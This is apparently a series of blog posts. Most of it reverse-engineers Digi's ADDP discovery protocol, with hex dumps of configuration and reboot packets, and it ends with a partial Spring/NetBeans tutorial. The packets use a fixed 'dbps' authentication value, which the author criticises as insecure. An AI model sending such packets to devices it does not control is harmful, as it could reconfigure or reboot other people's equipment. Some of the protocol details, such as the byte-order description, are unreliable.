0000   44 49 47 49 00 02 00 60 01 06 00 40 9d 31 a9 0a  DIGI...`...@.1..
0010   02 04 0a 00 00 e7 03 04 ff ff ff 00 0b 04 0a 00  ................
0020   00 01 0d 0f 44 69 67 69 20 43 6f 6e 6e 65 63 74  ....Digi Connect
0030   20 4d 45 10 01 00 07 01 00 08 1e 56 65 72 73 69   ME........Versi
0040   6f 6e 20 38 32 30 30 30 38 35 36 5f 46 36 20 30  on 82000856_F6 0
0050   37 2f 32 31 2f 32 30 30 36 0e 04 00 00 03 03 13  7/21/2006.......
0060   04 00 00 04 03 12 01 01                          ........

Breaks down as:

            44 49 47 49  DIGI       - Magic
                  00 02  ..         - Packet type (0002)
                  00 60  .`         - Payload size (96 bytes)
01 06 00 40 9d 31 a9 0a  ...@.1..   - Mac address: 00:40:9D:31:A9:0A
      02 04 0a 00 00 e7  ......     - IP Address: 10.0.0.231
      03 04 ff ff ff 00  ......     - Subnet Mask: 255.255.255.0
      0b 04 0a 00 00 01  ......     - Gateway Address: 10.0.0.1
                     0d
0f 44 69 67 69 20 43 6f  .Digi Co
6e 6e 65 63 74 20 4d 45  nnect ME   - Device Name: Digi Connect ME
               10 01 00  ...        - DHCP Disabled
               07 01 00  ...        - Unknown - never seen a non-0x00 value.
08 1e 56 65 72 73 69 6f  ..Versio
6e 20 38 32 30 30 30 38  n 820008 
35 36 5f 46 36 20 30 37  56_F6 07 
2f 32 31 2f 32 30 30 36  /21/2006   - Firmware: Version 82000856_F6 07/21/2006
      0e 04 00 00 03 03  ......     - Real Port: 771
      13 04 00 00 04 03  ......     - Encrypted Real Port: 1027
               12 01 01  .          - Serial port count: 1

Static Network Configuration Request Packet

The Static Configuration Request packets have the packet type of 0x0003 and are used to reconfigure the network settings of the Digi unit. This consists of 3 values to be set: IP address, subnet mask and default gateway.

The 3 values are added in the mentioned order to the beginning of the payload. This gives a 12 byte sequence, which is then followed the MAC address of the device to be configured and the authentication data. This results in a total payload size of 23 bytes, which is a 31 byte packet.

The following sample would be to reconfigure the device with MAC address '00:40:9D:31:A9:0A', giving it the IP address: 10.0.0.9, subnet mask: 255.255.255.0 and gateway: 10.0.0.1. Since these fields are static and always in this order, to remove the gateway you would send a gateway value of 0.0.0.0.

Data (31 bytes):

0000   44 49 47 49 00 03 00 17 0a 00 00 09 ff ff ff 00  DIGI............
0010   0a 00 00 01 00 40 9d 31 a9 0a 04 64 62 70 73     .....@.1...dbps

Break down as:

            44 49 47 49  DIGI       - Magic
                  00 03  ..         - Packet type (0003)
                  00 17  .`         - Payload size (23 bytes)
            0a 00 00 09  ....       - New IP Address: 10.0.0.9
            ff ff ff 00  ....       - New Subnet Mask: 255.255.255.0
            0a 00 00 01  ....       - New Gateway: 10.0.0.1
      00 40 9d 31 a9 0a  .@.1..     - Target MAC Address: 00:40:9D:31:A9:0A
         04 64 62 70 73  .dbps      - Authentication Data

Configuration Response Packet

The configuration response packet is sent to indicate whether the configuration request was successful and if not to give a reason for failure by means of an error code and message. This packet has the id 0x0004 and uses the standard response packet format. The success is indicated by the result flag, result message, error code and configuration error code fields. See the tables at the end of this document for details on these fields.

Here is a sample packet for the above configuration request, indicating the request succeeded.

Data (44 bytes):

0000   44 49 47 49 00 04 00 24 0a 01 00 09 14 4f 70 65  DIGI...(.....Ope
0010   72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75  ration Successfu
0020   6c 11 01 00 01 06 00 40 9d 31 a9 0a              l......@.1..

Break down as:

            44 49 47 49  DIGI       - Magic
                  00 04  ..         - Packet type (0004)
                  00 24  .(         - Payload size (36 bytes)
               0a 01 00  ...        - Result flag: Success
      09 14 4f 70 65 72  ..Oper
61 74 69 6f 6e 20 53 75  ation Su
63 63 65 73 73 66 75 6c  ccessful   - Result Message: Operation Successful
               11 01 00  ...        - Error code: None
01 06 00 40 9d 31 a9 0a  ...@.1..   - Mac Address: 00:40:9D:31:A9:0A

Here is a sample packet for a configuration request that failed because an invalid IP address was sent (0.0.0.0).

Data (37 bytes):

0000   44 49 47 49 00 04 00 1d 0a 01 ff 09 0d 49 6e 76  DIGI.........Inv
0010   61 6c 69 64 20 76 61 6c 75 65 11 01 03 01 06 00  alid value......
0020   40 9d 31 a3 a5                                   @.1..

Break down as:

            44 49 47 49  DIGI       - Magic
                  00 04  ..         - Packet type (0004)
                  00 1d  .(         - Payload size (29 bytes)
               0a 01 ff  ...        - Result flag: Error
   09 0d 49 6e 76 61 6c  ..Inval 
69 64 20 76 61 6c 75 65  id value   - Result Message: Invalid value
               11 01 03  ...        - Error code: 0x03
01 06 00 40 9d 31 a3 a5  ...@.1..   - Mac Address: 00:40:9D:31:A3:A5

DHCP Network Configuration Request

The DHCP Configuration Request packets have the packet type of 0x0007 and are used to reconfigure the network of the Digi unit so it requests it's IP address from a DHCP server. If a DHCP server doesn't respond it will take on a default IP address (the 169 IPs you see often when a device can't find an IP address).

The packet is very simply, in that it payload simply has a 1 byte boolean to enable/disable DHCP followed by the target MAC and then the authentication data. This will enabled DHCP. If you send a 0x00 for the enable byte then DHCP will be enabled, and the current network settings will be untouched. If you send 0x00 DHCP will be disabled and any previous network settings will be restored.

The following sample would be to reconfigure the device with MAC address '00:40:9D:31:A3:A5', instructing it to automatically get it's IP address via DHCP.

Data (20 bytes):

0000   44 49 47 49 00 07 00 0c 01 00 40 9d 31 a3 a5 04  DIGI......@.1...
0010   64 62 70 73                                      dbps

Break down as:

            44 49 47 49  DIGI       - Magic
                  00 07  ..         - Packet type (0003)
                  00 0c  ..         - Payload size (12 bytes)
                     01  ....       - Enable DHCP
      00 40 9d 31 a3 a5  .@.1..     - Target MAC Address: 00:40:9D:31:A3:A5
         04 64 62 70 73  .dbps      - Authentication Data

DHCP Network Configuration Response

This packet is the same as the Static Network Configuration response, except it has the packet type identifier 0x0008. Here is a sample response for the DHCP request packet sample above:

Data (44 bytes):

0000   44 49 47 49 00 08 00 24 0a 01 00 09 14 4f 70 65  DIGI...$.....Ope
0010   72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75  ration Successfu
0020   6c 11 01 00 01 06 00 40 9d 31 a3 a5              l......@.1..

Break down as:

            44 49 47 49  DIGI       - Magic
                  00 08  ..         - Packet type (0008)
                  00 24  .(         - Payload size (36 bytes)
               0a 01 00  ...        - Result flag: Success
      09 14 4f 70 65 72  ..Oper
61 74 69 6f 6e 20 53 75  ation Su
63 63 65 73 73 66 75 6c  ccessful   - Result Message: Operation Successful
               11 01 00  ...        - Error code: None
01 06 00 40 9d 31 a3 a5  ...@.1..   - Mac Address: 00:40:9D:31:A3:A5

Restart Request Packet

Th restart request is used to instruct a device to restart itself. This is useful in some cases, and needed to apply certain configuration changes, specifically the network configuration done with the Configuration packets.

This packet has the packet type id of 0x0005 and has a target MAC followed by the authentication data as it's payload. This gives a payload length of 11 bytes and a total packet size of 19 bytes. The following is a sample packet that restarts the device with MAC '00:40:9D:31:A9:0A'.

Data (19 bytes):

0000   44 49 47 49 00 05 00 0b 00 40 9d 31 a9 0a 04 64  DIGI.....@.1...d
0010   62 70 73                                         bps

Break down as:

            44 49 47 49  DIGI       - Magic
                  00 05  ..         - Packet type (0005)
                  00 0b  .`         - Payload size (11 bytes)
      00 40 9d 31 a9 0a  ......     - Target MAC: 00:40:9D:31:A9:0A
         04 64 62 70 73  .dbps      - Authentication Data

Restart Response Packet

After you send a restart request, the device will respond, reporting it's result. If successful the device will immediately initiate a restart. This packet has the packet type id 0x0006. As with all the other response packets it uses the field based packet format. The following sample packet is a restart response indicating success of the previous restart request sample.

Data (44 bytes):

0000   44 49 47 49 00 06 00 24 0a 01 00 09 14 4f 70 65  DIGI...$.....Ope
0010   72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75  ration Successfu
0020   6c 11 01 00 01 06 00 40 9d 31 a9 0a              l......@.1..

Break down as:

            44 49 47 49  DIGI       - Magic
                  00 06  ..         - Packet type (0006)
                  00 24  .(         - Payload size (36 bytes)
               0a 01 00  ...        - Result flag: Success
      09 14 4f 70 65 72  ..Oper
61 74 69 6f 6e 20 53 75  ation Su
63 63 65 73 73 66 75 6c  ccessful   - Result Message: Operation Successful
               11 01 00  ...        - Error code: 0x00
01 06 00 40 9d 31 a9 0a  ...@.1..   - Mac Address: 00:40:9D:31:A9:0A

Tables of Codes

The following tables summarize the different types and codes used in the protocol.

Packet Types

  0x0001: Discovery Request
  0x0002: Discovery Response
  0x0003: Static Network Configuration Request
  0x0004: Static Network Configuration Response
  0x0005: Reboot Request
  0x0006: Reboot Response
  0x0007: DHCP Network Configuration Request
  0x0008: DHCP Network Configuration Response

Field Types

  0x01: 6 byte MAC address
  0x02: 4 byte IP address
  0x03: 4 byte Netmask
  0x04: String Network Name
  0x05: UNSEEN
  0x06: UNSEEN
  0x07: 1 byte - UNKNOWN - seen in discovery responses
  0x08: String Firmware
  0x09: String Result message
  0x0a: 1 byte Result flag - see "Result Flags"
  0x0b: 4 byte IP Gateway
  0x0c: 2 byte Configuration error code - see "Configuration Errors"
  0x0d: String device name
  0x0e: 4 byte Real Port number
  0x0f: 4 byte IP address. Purpose unknown.
  0x10: 1 byte DHCP Enabled boolean flag. 
  0x11: 1 byte Error code
  0x12: 1 byte Serial Port Count
  0x13: 4 byte Encrypted Real Port number

Error codes (Field 0x11)

  0x00: Success
  0x01: Authentication Failure
  0x03: Invalid Value
  0x06: Unable to save value

Result flags (Field 0x0a)

  0x00: Success
  0xff: Error

Configuration Errors (0x0c)

  0x0000: No error.
  0x0001: Digi in different subnet than sender

Boolean flags

  0x01: True/Enabled
  0x00: False/Disabled

Some General Notes

There might be more packet types.
There are more error codes which I haven't seen, and thus haven't documented.
Fields types 0x05 and 0x06 haven't been seen, so I'm not sure what they're for.
I haven't determined field 0x07. I haven't even seen a non 0x00 value for it.
It's also possible that fields above 0x13 exist.
Re. fields 0x0e and 0x13 being 4 bytes. Ports can only be 2 bytes (0 to 65535). Why they made it 4 bytes is a mystery, so it could be possible that they store extra information in the first 2 bytes.

Advanced Digi Discovery Protocol Notes

2009-11-20T10:26:00.010+02:00

This is a continuation of my previous post.

So I've come further in my analysis of the ADDP protocol. I've got what is almost a complete breakdown, only missing the definition of 2 fields and a few error codes I haven't seen yet.

I haven't formalized it yet, though all the required information is contained in this summary. With it and some common sense you can create a working implementation. I'll formalize it over the weekend for those of you who appreciate such things (edit: See my new post 'Advanced Digi Discovery Protocol Explained').

Also have a look at: JDigiDiscover. It's what I have so far for an implementation. It's not done yet, either. And *cough* excuse the 70 minute GUI job.

Here's some notes. Have fun.

++++++++++++++++++++++++++++++++++
+ Packet Examples and Breakdowns +
++++++++++++++++++++++++++++++++++

Discovery Request:
---------------------------------------------------------------------------------
0000   44 49 47 49 00 01 00 06 ff ff ff ff ff ff        DIGI..........

Discovery Response:
---------------------------------------------------------------------------------
0000   44 49 47 49 00 02 00 60 01 06 00 40 9d 31 a9 0a  DIGI...`...@.1..
0010   02 04 0a 00 00 e7 03 04 ff ff ff 00 0b 04 0a 00  ................
0020   00 01 0d 0f 44 69 67 69 20 43 6f 6e 6e 65 63 74  ....Digi Connect
0030   20 4d 45 10 01 00 07 01 00 08 1e 56 65 72 73 69   ME........Versi
0040   6f 6e 20 38 32 30 30 30 38 35 36 5f 46 36 20 30  on 82000856_F6 0
0050   37 2f 32 31 2f 32 30 30 36 0e 04 00 00 03 03 13  7/21/2006.......
0060   04 00 00 04 03 12 01 01                          ........

Configuration Request:
---------------------------------------------------------------------------------
0000   44 49 47 49 00 03 00 17 0a 00 00 e7 ff ff ff 00  DIGI............
0010   0a 00 00 01 00 40 9d 31 a9 0a 04 64 62 70 73     .....@.1...dbps

Configuration Success Response:
---------------------------------------------------------------------------------
0000   44 49 47 49 00 04 00 28 0a 01 00 09 14 4f 70 65  DIGI...(.....Ope
0010   72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75  ration Successfu
0020   6c 11 01 00 01 06 00 40 9d 31 a9 0a 0c 02 00 01  l......@.1......

Configuration Failure Response:
---------------------------------------------------------------------------------
0000   44 49 47 49 00 04 00 29 0a 01 ff 09 19 55 6e 61  DIGI...).....Una
0010   62 6c 65 20 74 6f 20 6c 6f 61 64 2f 73 61 76 65  ble to load/save
0020   20 76 61 6c 75 65 11 01 06 01 06 00 40 9d 31 99   value......@.1.
0030   de                                               .

Reboot Request:
---------------------------------------------------------------------------------
0000   44 49 47 49 00 05 00 0b 00 40 9d 31 a9 0a 04 64  DIGI.....@.1...d
0010   62 70 73                                         bps

Reboot Response:
---------------------------------------------------------------------------------
0000   44 49 47 49 00 06 00 24 0a 01 00 09 14 4f 70 65  DIGI...$.....Ope
0010   72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75  ration Successfu
0020   6c 11 01 00 01 06 00 40 9d 31 a9 0a              l......@.1..

Discovery Request Breakdown:
---------------------------------------------------------------------------------
               44 49 47 49  DIGI         - Magic
                     00 01  ..           - Packet type (0001)
                     00 06  .`           - Payload size (6 bytes)
         ff ff ff ff ff ff  ......       - Target MAC

Discovery Response Breakdown (104 bytes):
---------------------------------------------------------------------------------
               44 49 47 49  DIGI         - Magic
                     00 02  ..           - Packet type (0002)
                     00 60  .`           - Payload size (96 bytes)
   01 06 00 40 9d 31 99 de  ...@.1..     - Mac address
         02 04 0a 00 00 b4  ......       - IP Address
         03 04 ff ff ff 00  ......       - Subnet Mask
         0b 04 00 00 00 00  ......       - Gateway Address
   0d 0f 44 69 67 69 20 43  ..Digi C
6f 6e 6e 65 63 74 20 4d 45  onnect ME    - Device Name
                  10 01 01  ...          - DHCP Enabled
         0f 04 0a 00 00 04  ......       - SNMP Traps Host ??
                  07 01 00  ...          - ??
            08 1e 56 65 72  ..Ver
73 69 6f 6e 20 38 32 30 30  sion 8200
30 38 35 36 5f 46 36 20 30  0856_F6 0
37 2f 32 31 2f 32 30 30 36  7/21/2006    - Software Version
         0e 04 00 00 03 03  ......       - Real Port
         13 04 00 00 04 03  ......       - Encrypted Real Port
                  12 01 01  .            - Serial port count

Configuration Request Breakdown
---------------------------------------------------------------------------------
               44 49 47 49  DIGI         - Magic
                     00 03  ..           - Packet type (0003)
                     00 17  .`           - Payload size (23 bytes)
               0a 00 00 e7  ....         - New IP Address
               ff ff ff 00  ....         - New Subnet Mask
               0a 00 00 01  ....         - New Gateway
         00 40 9d 31 a9 0a  .@.1..       - Target MAC Address
            04 64 62 70 73  .dbps        - Authentication Data

Configuration Success Response Breakdown
---------------------------------------------------------------------------------
               44 49 47 49  DIGI         - Magic
                     00 04  ..           - Packet type (0004)
                     00 28  .(           - Payload size (40 bytes)
                  0a 01 00  ...          - Result flag (see codes below)
               09 14 4f 70  ..Op
65 72 61 74 69 6f 6e 20 53  eration S
75 63 63 65 73 73 66 75 6c  uccessful    - Result Message
                  11 01 00  ...          - Error code. (see codes below)
   01 06 00 40 9d 31 a9 0a  ...@.1..     - Mac Address
               0c 02 00 01  ....         - Configuration Error Code

Reboot Request Breakdown
---------------------------------------------------------------------------------
               44 49 47 49  DIGI         - Magic
                     00 05  ..           - Packet type (0005)
                     00 0b  .`           - Payload size (11 bytes)
         00 40 9d 31 a9 0a  ......       - Target MAC
            04 64 62 70 73  .dbps        - Authentication Data

Reboot Response Breakdown
---------------------------------------------------------------------------------
               44 49 47 49  DIGI         - Magic
                     00 06  ..           - Packet type (0006)
                     00 24  .(           - Payload size (36 bytes)
                  0a 01 00  ...          - Result flag (see codes below)
               09 14 4f 70  ..Op
65 72 61 74 69 6f 6e 20 53  eration S
75 63 63 65 73 73 66 75 6c  uccessful    - Result Message
                  11 01 00  ...          - Error code
   01 06 00 40 9d 31 a9 0a  ...@.1..     - Mac Address

+++++++++
+ Codes +
+++++++++
Packet Types:
  0x0001: Discovery Request
  0x0002: Discovery Response
  0x0003: Static Network Configuration Request
  0x0004: Static Network Configuration Response
  0x0005: Reboot Request
  0x0006: Reboot Response
  0x0007: DHCP Network Configuration Request
  0x0008: DHCP Network Configuration Response

Field Types:
  0x01: 6 byte MAC address
  0x02: 4 byte IP address
  0x03: 4 byte Netmask
  0x04: String Network Name
  0x05: UNSEEN
  0x06: UNSEEN
  0x07: 1 byte - UNKNOWN - seen in discovery responses
  0x08: String Firmware
  0x09: String Result message
  0x0a: 1 byte Result flag - see "Result Flags"
  0x0b: 4 byte IP Gateway
  0x0c: 2 byte Configuration error code - see "Configuration Errors"
  0x0d: String device name
  0x0e: 4 byte Real Port number
  0x0f: 4 byte SNMP Traps host IP address ??
  0x10: 1 byte DHCP Enabled flag. 0x01 = enabled, 0x00 = disabled
  0x11: 1 byte Error code
  0x12: 1 byte Serial Port Count
  0x13: 4 byte Encrypted Real Port number

Error codes (0x11):
  0x00: Success
  0x01: Authentication Failure
  0x03: Invalid Value
  0x06: Unable to save value

Result flags (0x0a):
  0x00: Success
  0xff: Error

Configuration Errors (0x0c):
  0x0001: Digi in different subnet than sender

+++++++++
+ Notes +
+++++++++
Authentication data in "Configuration Request" and "Reboot Request" packets. This is an oddity. 
I frankly don't know why they have this in there. I doubt they're using decryption and this 
information is needed for the key, since these packets are used for initial configuration. Further, this value doesn't change when you change your root user's 
password. Frankly it can't, because the Digi tool doesn't prompt for a password, and this "has" 
to always work, or at least I figure they meant for it to always work (unless explicitely disabled).

It's a very insecure way of doing it. They might as well have left out the password. I guess it 
decreases the chance of a corrupt packet to reconfigure the device. It certainly doesn't block 
hackers. A more secure option would probably have be to do a packet challenge and based on the 
response encrypt a string and send it to the device. This way it's very difficult to discover, 
as people would need to reverse engineer this challenge algorithm.

This design sort of indicates to me a 9th packet type which is a factory default reset packet. 
Their style certainly makes this possible. 

+++++++++
+ Todos +
+++++++++
1. Investigate the possibility of more packets.
2. Find the purpose of field 0x07
3. Find more error codes.
4. See if fields 0x05 and 0x06 exist and what they're for.
5. Investigate whether fields above 0x13 exist.

Advanced Digi Discovery Protocol

2009-11-17T22:18:00.020+02:00

When you work with microcontrollers you most often use some type of serial protocol to communicate between devices or with a computer. This is not always suitable, especially when doing so over longer distances. To solve this you get a very useful device called the Digi Connect ME or Digi Connect WiME (which is the same, except it uses WiFi where the other uses ethernet).

This device basically converts all types of serial protocols to ethernet and is very customizable. We, for instance, have it configured to persistently attempt to establish a connection to our server. Any data sent/received to the serial port or the ethernet connection will be transferred to the other side. So it basically allows ethernet communication without the effort or complexity of implementing any of the numerous protocols needed to do TCP/IP communication.

Since you don't have a computer screen or some display, to configure/manage these devices require some extra utilities. Imagine having changed the IP address of the device, it's not configured to do any communication automatically and you forget what you configured? How would you figure this out other than doing a lengthy and complex IP scan? You can also not reset the device to it's default, which will not help you in any case, because it's default is to use DHCP and you don't have a DHCP server on your network? This is just one of the many difficulties with electronics. With a computer you can jump in front of the keyboard and configure an IP address. So what to do?

The developers of the Digi device also made a utility called Digi Device Discovery. It uses their proprietary ADDP (Advanced Digi Discover Protocol) protocol to send a UDP multicast. All Digi devices will then respond with their configured IP address and some other bits of information. It also allows you to configure the IP address using these same multicast packets. On top of this they also give a C header file and library so you can have this functionality in your own applications. I'm sure you can see the amazing benefits of this, especially if you have a distributed network of electronic devices with these embedded Digi units.

Unfortunately this application is only for Windows, and the header only for C and again only for Windows. From what I can gather the Digi folks haven't found the time to document the protocol either, and I couldn't find anything useful on the internet. I did, however, find a short description of one of the packets and a few of the fields after I completed my analysis of the first 4 packets. What timing as this could have saved me 3 hours.

I needed to use these packets though. It can be very useful to manage your devices. And obviously the fact that I didn't know how it works was unacceptable and inspired me to go to any length to learn it. So armed with Wireshark (previously called Ethereal) and using Wine to run Digi Device Discovery, I set out a few evenings and analyzed the protocol. After a few hours total I had a working Java implementation running which discovers all Digi devices and lists their public configuration (the bits available in the discovery packets) as well as being able to change their IP addresses using the same protocol. I haven't completed all the features of the configuration yet, so I'm not publishing it today. It should be done by the end of this weekend (by the 22nd November 2009), at which time I'll release it under Apache License 2.0 (edit: See my new post 'Advanced Digi Discovery Protocol Explained').

For now, here is a description of the protocol.

Advanced Digi Discovery Protocol
ADDP works with UDP multicast datagrams on multicast address 224.0.5.128 and port 2362. The same address is used for sending and receiving datagrams.

All packets whether sent/received have the same basic form. It has a header of 8 bytes and a variably sized payload which consist of a variable number of fields.

General Packet Structure of Responses
A packet has the format of header followed by payload.

The header starts with 4 magic bytes consisting of the ASCII bytes 'D', 'I', 'G', 'I'. Very creative. After the magic bytes follows a 2 byte packet identifier, and then a 2 byte integer for the payload size (in bytes).

The payload for request packets are unique to each type of request, where the payload of responses all have the same basic form, which is a variable number of fields. Each field starts with a 1 byte field type identifier, followed by a 1 byte data length, followed by the data.

And that's the packet structure. Simple.

Packet Types
So far I've identified 4 packet types, nl.
Discovery Request: 0x0001
Discovery Response: 0x0002
Configuration Request: 0x0003
Configuration Response: 0x0004

Field Types
I've also identified the following field types:
Mac Address: 0x01
IP Address: 0x02
IP Subnet: 0x03
IP Gateway: 0x0b
Network Name: 0x04
Device Name: 0x0d
Dhcp Enabled: 0x10
Some Unknown IP: 0x0f
Firmware Version: 0x08
Encrypted Real Port Number: 0x13
Real Port: 0x0e
Serial Ports: 0x12
UNKNOWN1: 0x07
Configuration Error: 0x0c

Two of the fields I haven't identified yet. I do, however, suspect the 0x0f field is the SNMP traps host as it once contained this value, though I haven't been able to reproduce this.

These are only the fields for the discovery response. I haven't documented the fields/type IDs for the configuration request/response.

Strings, Data Types and Byte Order

Byte ordering is done like it is on any standard Intel based computer. So if you've done any network programming on these architectures you should be comfortable with this protocol.

Items like integers and numbers are in Little Endian byte order, so it's most significant byte first. The number 0x0219 is decimal 537, and can be calculated as ((0x02 << 8) + 0x19).

IP Addresses are done with the host byte order, so they are read as they are in the packet. So the bytes: 0x0a, 0x00, 0x00, 0x65 is the IP address: 10.0.0.101.

Further strings are (as they are usually) just a character array and has no terminator. The field's value is it's complete data part. So a string field with length 9, will have 9 data bytes which is a string of length 9. Strings are always composed of single byte ASCII characters.

Discovery Request Payload Structure
The discovery request has a single field to specify the target mac address for which you want to request the discovery. If this has as a value the MAC address ff:ff:ff:ff:ff:ff (the broadcast MAC) then all Digis will respond. You specify a specific MAC address if you want to request a response from a specific device. This field, however, has a special structure in that it doesn't have a field ID or a size. It's simply the 6 bytes for the MAC address. This is because, as I mentioned, request packets each have their own unique structure.

Here is a sample discovery request packet (header then payload):
DIGI{0x00, 0x01}{0x00, 0x06}

{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}

To explain again, the header has the magic bytes DIGI, then the packet type of 0x0001, then the payload size of 0x0006 and the single field of target mac, which is the broadcast mac of ff:ff:ff:ff:ff:ff.

Discovery Response Payload Structure
The discovery response has multiple fields for each of the configuration entries. Not all of the responses contain all the fields, so these packets have their sizes differ from device to device, all depending on the configuration of the device.

A sample packet would be as follows. I broke it down into lines to demonstrate the different parts of the packet.

Total packet size: 104 bytes (8 byte header, 96 byte payload)
44 49 47 49  DIGI       - Magic
00 02  ..         - Packet type (0002)
00 60  .`         - Payload size (96 bytes)
01 06 00 40 9d 31 a9 0a  ...@.1..   - Mac address: 00:40:9D:31:A9:0A
02 04 0a 00 00 e7  ......     - IP Address: 10.0.0.231
03 04 ff ff ff 00  ......     - Subnet Mask: 255.255.255.0
0b 04 0a 00 00 01  ......     - Gateway Address: 10.0.0.1
0d
0f 44 69 67 69 20 43 6f  .Digi Co
6e 6e 65 63 74 20 4d 45  nnect ME   - Device Name: Digi Connect ME
10 01 00  ...        - DHCP Disabled
07 01 00  ...        - Unknown - never seen a non-0x00 value.
08 1e 56 65 72 73 69 6f  ..Versio
6e 20 38 32 30 30 30 38  n 820008 
35 36 5f 46 36 20 30 37  56_F6 07 
2f 32 31 2f 32 30 30 36  /21/2006   - Firmware: Version 82000856_F6 07/21/2006
0e 04 00 00 03 03  ......     - Real Port: 771
13 04 00 00 04 03  ......     - Encrypted Real Port: 1027
12 01 01  .          - Serial port count: 1

Conclusion
This is in no way the official specification of the protocol. I discovered all of this by analyzing the protocol using Wireshark and some common sense. Like I mentioned I'm also not completely done, and even if I were there might be some misinterpretations. I'll document the other packets and have the Java implementation of the protocol and utility up around the 22nd of November 2009 (edit: See my new post 'Advanced Digi Discovery Protocol Explained').

This is a proprietary protocol developed and it's copyrighted owned by Digi International Inc. Use of the protocol is limited to their terms. I released this purely because I noticed a need for implementing it in your own non C and non Windows applications for managing your Digi devices. For more information see http://www.digi.com/.

Spring and the Netbeans Platform

2009-11-15T14:44:00.002+02:00

I recently discovered Spring Framework, specifically the dependency injection part of it. I'm in no way an export on it yet, though I've done some pretty cool stuff with it. One for example was to redevelop our TCP servers into a group of loose components wired together with Spring.

We have a bunch of hardware components, and depending on the product configuration the TCP server has to listen for one or more types of packets. To configure which packets must be listened for, how they are identified, how they work together, timeouts, sources, servers, EJBs and all those lovely things we had to modify some source and configure bulky configuration files for each client's configuration.

I previously started redeveloping this into a modular system using the concepts of "services", and then a combination annotations and configuration files would be used to build a client's configuration. I also added NIO into this mix to avoid having multiple threads on for each category of service. Though after a week's worth of afterhour coding it still didn't feel like the right solution. So I left it there to give my mind some time to wander.

So, like I mentioned, I recently discovered Spring. I started using it for simple beans to get a feel for it in a real world application and it's been really easy to do some pretty funky things. My first application of Spring was to do our remote EJB and remote authentication using Spring, a custom InitialContextFactory and a CallbackHandler implementation. So depending on the application I can authenticate and get an InitialContext simply by configuring how I want it in my Spring XML file. I've applied this to GUI authentication for the client (by adding a login dialog class into the mix and linking it's result with the CallbackHandler using Spring), terminal authentication by using a TerminalCallbackHandler (which came with one of my JARs), and finally an automatic login for the services.

So Spring made a really strong impression on me in these past few weeks. I've been learning a lot about it. The most impressive feature probably being the method-lookup. Using this I can configure my EJBs in whichever way I please. I can choose to fetch beans A and B from server A in one setup, or A from server A and B from server B in another setup. Further they're lazy initialized so there is no lookups unless it's needed, which also allows me to extend my services from a parent class which has the abstracts for lookups on all our beans without the overhead of redundant references.

I've made some pretty messy code into simple, clean, cohesive and small groups of "loose" classes. Love it! Our TCP server, for instance, is now nothing more than a Spring FactoryBean called a TcpServiceManager, which you reference to define a service, and then a bunch of services defined and configured as beans. So everything we had to do with a bit of code changes and a lot of configuration is now all wrapped into a single Spring XML configuration. We can even switch from Remote to Local EJBs or vice versa with a few simple changes, which could be useful if I decide to embed some services into the application server itself.

All this got me thinking in how one could use Spring in the Netbeans Platform. I don't know nearly enough about Spring to give the best ways, though I've had a few thoughts on it. The simplest form would be to just have a Spring context available as a service and then have each module load it's Spring configuration in the ModuleInstaller.

There are 3 ways to do Spring in an application. First is to have a singleton ApplicationContext and have all the different configuration files loaded into the same context. The second is to have each module create and load it's own ApplicationContext. The third is a combination of this. I chose the first as it would work similar to Netbeans' existing layer.xml system. This is where a singleton layer filesystem is managed and every loaded module would override any existing entities loaded prior to itself. So I would have a single application context, and each module would load it's context in the installer. This way module dependencies are honored to define a load order and thus you can expect the same override behaviour for your Spring application context as you would for the module's layer.xml. They would go hand-in-hand and can work together to create a powerful system.

This resulted in a module call "Spring" which has 2 files, AppContext.java and AppContextImpl.java. The former is an abstract class for the service and the latter is the implementation. I also added a static get() method in the abstract class which does a lookup of AppContext.java. It just wraps some code which avoids you having to type it repeatedly. The files are listed at the end of this post.

To see if everything is working I created another module, added as a dependency the new Spring module and create a window component called "SpringOpen". I wanted to see if I can get Spring to create the component instead of a new instruction, so in SpringOpenTopComponent.java's getDefault() method I replaced
if (instance == null)
{
instance = new SpringOpenTopComponent();
}

with:
instance = AppContext.get().getBean("SpringOpenTC", SpringOpenTopComponent.class);

I also added a label to it and create a setter called setLabelText(String) which updates the label text to whatever is specified in it's String argument.

Then I created a ModuleInstaller for the new module, and added in its restored() method:

    try
    {
      AppContext.get().loadXMLConfig(Installer.class, "module1-spring.xml");
    }
    catch (IOException e)
    {
      throw new RuntimeException("Failed to load module1 configuration.", e);
    }

And finally, in the same directory as the Installer.java I created a file called "module1-spring.xml", with the following contents:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
           http://www.springframework.org/schema/beans/spring-beans-2.5.xsd">
  <bean id="Component1" class="com.blogspot.qbeukes.module1.SpringOpenTopComponent" scope="singleton">
    <property name="labelText">
      <value><![CDATA[<html><body><div style='color:red'>It "Spring"ed Open!</<div></body></html>]]></value>
    </property>
  </bean>
</beans>

I built and ran the application and it all worked! The core logic that made it work, however, was the ClassLoader code inside AppContextImpl.java. Since Spring needs access to the classes found in the Netbeans Platform modules, you have to tell it which class loader to use.

This is achieved in the AppContextImpl.java constructor by calling:
context.setClassLoader(Thread.currentThread().getContextClassLoader());

Without this you would receive a bunch of ClassNotFoundExceptions. If you don't understand what this code does, I seriously recommend you go thread up on class loaders. It's one of those handful of things that make Java a truly powerful language.

To conclude. Being able to create your Top Component instances like I did isn't revolutionary. It was merely a proof of concept for using Spring inside Netbeans. It creates a basis for some more experimentation. The aim is to have most of the configuration done in a combination of Spring and layer.xml. If you think of or achieve anything brilliant with Spring and Netbeans, please let me know. Would be great to see how Spring can enrich a Netbeans RCP application.

Here is the 2 mentioned classes.
AppContext.java:

package com.blogspot.qbeukes.appcontext;

import java.io.IOException;
import org.openide.util.Lookup;

public abstract class AppContext
{
  public static AppContext get()
  {
    return Lookup.getDefault().lookup(AppContext.class);
  }

  public abstract void loadXMLConfig(Class clazz, String resourceName) throws IOException;

  public abstract Object getBean(String beanName);

  public abstract  T getBean(String beanName, Class beanInterface);

  public abstract String[] getBeanNames(Class beanInterface);
}

And AppContextImpl.java:

package com.blogspot.qbeukes.appcontext;

import java.io.FileNotFoundException;
import java.io.IOException;
import org.openide.util.lookup.ServiceProvider;
import org.springframework.beans.factory.support.BeanDefinitionReader;
